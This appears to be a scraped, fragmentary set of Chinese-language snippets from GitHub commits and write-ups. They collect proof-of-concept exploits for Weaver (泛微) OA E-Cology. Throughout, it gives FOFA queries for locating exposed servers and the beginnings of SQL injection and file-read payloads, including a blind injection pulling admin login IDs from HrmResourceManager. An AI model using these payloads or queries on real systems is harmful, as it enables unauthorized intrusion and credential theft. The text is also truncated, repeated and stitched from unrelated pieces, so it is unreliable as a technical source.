【泛微OA E-cology远程代码执行漏洞原理分析】最近曝光了很多漏洞,后续将对这些有代表性的漏洞进行分析审分析,今天有空先审计分析泛微 OA RCE漏洞。http://t.cn/Aiu2VsDr
18 changes: 18 additions & 0 deletions 18 泛微E-Cology系统接口SignatureDownLoad存在SQL注入漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,18 @@ ## 泛微E-Cology系统接口SignatureDownLoad存在SQL注入漏洞 ## fofa ``` app="泛微-OA(e-cology)" ``` ## poc ``...
4 changes: 2 additions & 2 deletions 4 某微E-Cology 某版本 SQL注入漏洞.md Original file line numberDiff line numberDiff line change @@ -16,8 +16,8 @@ c0-scriptName=DocDwrUtil c0-methodName=ifNewsCheckOutByCurrentUser c0-id=0 c0-param0=string:1 and ascii((select substring(loginid...
Showing 1 changed file with 19 additions and 0 deletions. Whitespace Ignore whitespace Split Unified 19 changes: 19 additions & 0 deletions 19 泛微OA-E-Cology-FileDownload文件读取漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,19 @@ ## 泛微OA-E-Cology-...
## 漏洞描述 泛微OA E-Cology HrmCareerApplyPerView.jsp 文件存在SQL注入漏洞,攻击者通过漏洞可以获取服务器数据库敏感文件 ## 漏洞影响 ``` 泛微OA E-Cology ``` ## FOFA ``` app="泛微-协同办公OA" ``` ## 漏洞复现 登录页面 ![image-20220706133317122](https://typora-notes-1308934770.cos.ap-bei...
由于泛微e-cology未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞,远程未授权攻击者可利用此漏洞获取敏感信息,进一步利用可能获取目标系统权限等。 ##搜索语法 fofa:`app="泛微-协同办公OA"` ##POC ```http GET /api/ec/dev/locale/getLabelByModule?moduleCode=1%27)%20...
4 changes: 2 additions & 2 deletions 4 某微E-Cology 某版本 SQL注入漏洞.md Original file line numberDiff line numberDiff line change @@ -16,8 +16,8 @@ c0-scriptName=DocDwrUtil c0-methodName=ifNewsCheckOutByCurrentUser c0-id=0 c0-param0=string:1 and ascii((select substring(loginid...
某微E-Cology 某版本 SQL注入漏洞.md Original file line numberDiff line numberDiff line change @@ -16,8 +16,8 @@ c0-scriptName=DocDwrUtil c0-methodName=ifNewsCheckOutByCurrentUser c0-id=0 c0-param0=string:1 and ascii((select substring(loginid,1,1)from HrmResourceManager))=115 c0-pa...
19 changes: 19 additions & 0 deletions 19 泛微OA-E-Cology-FileDownload文件读取漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,19 @@ ## 泛微OA-E-Cology-FileDownload文件读取漏洞 ## fofa ``` app="泛微-OA(e-cology)" ``` ## poc ``` GET /weaver/ln...